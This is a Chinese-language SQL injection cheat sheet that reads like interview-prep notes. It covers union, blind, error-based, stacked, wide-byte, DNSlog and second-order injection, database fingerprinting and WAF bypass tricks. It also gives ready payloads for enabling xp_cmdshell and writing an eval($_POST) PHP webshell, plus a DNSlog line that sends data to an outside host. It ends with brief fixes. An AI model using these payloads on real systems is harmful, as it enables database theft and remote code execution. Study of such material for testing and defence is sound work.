目录
什么是SQL注入?
通俗来讲,就是在参数里写入恶意的SQL语句,能够在后台数据库执行,对数据库进行增删改查等操作。
SQL注入的类型有哪些?
联合注入
缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。 select * from user where id = 1 order by 3 select * from user where id = -1 union select 1,2,3 select * from user where id = -1 union select database(),2,3
时间盲注
Mysql数据库:
sleep()函数
id=1 and sleep(2) id=1 and if(length(database())=8,sleep(10),1)--+ id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+ id=1' and if(left(database(),1)='s',sleep(10),1)--+
Microsoft SQL Server数据库:
waitfor delay
if ((select count(*) from master.dbo.sysdatabases where dbid=5)=1) waitfor delay "0:0:3"--
oracle数据库:
DBMS_PIPE.RECEIVE_MESSAGE()函数和decode()函数
DBMS_PIPE.RECEIVE_MESSAGE() 1 and 1=(select decode(substr(user,1,1),'E',dbms pipe.receive message('RDS',5),0)from dual) decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。 在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。 ?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) -- 花费更多的时间去查询所有数据库的表: ?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'
布尔盲注
当Web页面没有错误回显且存在SQL注入时,就可以利用True和False的关系进行注入: SELECT * from users WHERE id = 1 and (length(database())=8) SELECT * from users WHERE id = 1 and (length(database())>8)
报错注入
floor (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
extractvalue() id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
updatexml() id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
exp() id=1 and exp(~(select * from(select user())a));
堆叠注入
常见于mssql数据库 必须用到mysqli_multi_query()函数 通常SQL注入具有诸多限制,比如只能查不能增删改也不能更改数据库设置,而堆叠注入相当于直接获取了数据库密码。 id=1;select user();
宽字节注入
当前端采用窄字节而数据库采用宽字节编码,且存在反斜杠对单引号进行转移时,可以使用宽字节注入的方式进行注入。 id=%df%27 //浏览器url解码->β'转换为16进制->0xdf0x5c0x27转换为url编码->%df%5c%27再进行url解码->運' 导致单引号逃逸。 常见宽字节:GB2312、GBK、GB18030、BIG5 默认英文一个字节,中文两字节 前一个ascii码要大于128,才能到汉字的范围。 在php.ini文件中,开启了magic_quotes_gpc=on之后,便能实现addslshes()和stripslashes() %df' union select 1, password from users where 1=1 limit 0,1 %23
Cookie注入
当get参数和post参数被安全防护时,且cookie也被存入数据库,request方法获取cookie值时没有进行筛选,就会导致Cookie注入。
dnslog盲注
id=2 and 1=(selectload_file(concat('\\\\',hex(database()),'.test.dnslog.cn\\test')))
二次注入
SQL语句存储到数据库,然后利用存储的数据进行二次注入 例如:注册时注册一个用户名为 admin'# 的用户,在修改密码时 update user set password = '$password' where username = 'admin'#' 导致修改的是admin管理员的密码,而不是用户 admin'# 的密码。
Mysql数据库5.0以下版本和5.0以上版本的区别?
5.0以上版本存在一个存储着数据库信息的信息数据库--information_schema,包含所有数据库的基础信息,例如数据库名、表名等,SQL注入可以通过查询该表获取数据库相关信息。而5.0以下版本没有,注入只能靠暴力破解。 5.0以上是多用户多操作,5.0以下是多用户单操作。
除了sleep还有哪些SQL盲注的函数?
benchmark() benchmark函数是用来重复执行某个语句的函数,我们可以用这个函数来测试数据库的读写性能等。 benchmark(N,expression) select benchmark(10000000,sha(1));
笛卡尔积 SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
GET_LOCK 延时精确可控,利用环境有限,需要开两个session测试。 select get_lock('test',1); select get_lock('test',5);
RLIKE 过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。 select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
判断SQL注入的数据库类型?
特定函数的判断
len和length,
在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。
@@version和version()
在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。 version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
substring和substr
在mssql中可以调用substring。oracle则只可调用substr 根据盲注
MySQL
BENCHMARK(1000000,ENCODE('QWE','ASD')) SLEEP(5)
SQL Server
WAITFOR DELAY '0:0:5'
PostgreSQL
PG_SLEEP(5) GENERATE_SERIES(1,1000000)
Oracle
DBMS_PIPE.RECEIVE_MESSAGE
基于错误回显判断
错误提示Microsoft JET Database Engine 错误 '80040e14',说明是Access数据库,如果是ODBC的话则是mssql数据库。
基于辅助的符号判断
“/*”是MySQL中的注释符 “--”是Oracle和MSSQL支持的注释符, “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。 #是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/
如何绕过WAF
-
架构层绕WAF
用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。
-
资源限制角度绕WAF
由于数据太大,会导致waf无法将所有的数据都检测完,从而绕过WAF
-
协议层面绕过WAF
-
文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf
-
基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型
-
参数污染:有的waf仅对部分内容进行过滤,
index.php?id=1&id=2'
这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入
-
规则层面绕过
可以在注入点,测试waf到底拦截的哪一部分的数据,如果是空格,可以尝试:/%!%2f/
<--------------------------------------------------举例 ------------------------------------------------------>
大小写绕过 uNioN SeleCt 1,2,3;
双写绕过 ununionion selselectect 1,2,3;
编码绕过(URL全编码、十六进制)
内联注释绕过 /**/
逻辑符号替换(and=&&,or=||,not=!)
缓冲区溢出1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();
常见数据库webshell的方法
Mysql:
文件写入或者日志写入
条件:
-
数据库root权限或者具有文件写入的权限;
-
知道网站的绝对路径
-
Mysql中的secure_file_priv参数不能问NULL
mysql的file系列函数读取敏感文件或者写入webshell,比较常用的
into dumpfile() //只能导出一行,但保持原数据格式,比较常用。
into outfile() //可以导出多行,写入文件时有特殊的格式转化
load_file()
是否上传成功受到参数secure_file_priv的影响,
其中参数secure_file_priv为空时,对导入导出无限制
当值为特定的目录时,只能向指定的目录导入导出
当值为NULL时,禁止导入导出
我们可以通过select @@secure_file_priv查询,需要通过配置文件进行修改并重启生效。
SQLServer
xp_cmdshell、log备份写入shell、差异备份写入shell
条件:
-
获取相应的权限db_owner
-
获取Web目录的绝对路径
当xp_cmdshell被SQLServer默认关闭时,可以使用命令开启它:
EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;//打开xp_cmdshell扩展RECONFIGURE;--
Payload:
1’;execmaster..xp_cmdshell'echo^>F:\PhpStudy20180211\PHPTutorial\WWW\cmd.php';
Oracle
使用“文件访问包”的形式写入Webshell
条件:
-
有DBA权限
-
获取Web目录的绝对路径
SQLMAP --os-shell的原理
写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。
注意:关闭sqlmap文件就会被删除。
前提条件:,有读写权限,有create、insert、select权限
创建一个表
create table shell (cmd text NOT NULL)
插入数据
insert into shell(cmd) values('<?php eval($_POST['key']);?>')
导出一句话
select cmd from shell into outfile '/var/www/webshell.php'
删除表
drop table if exists shell;
SQL注入修复的方法
预编译
最低权限原则
关闭数据库错误回显
特殊字符过滤以及转移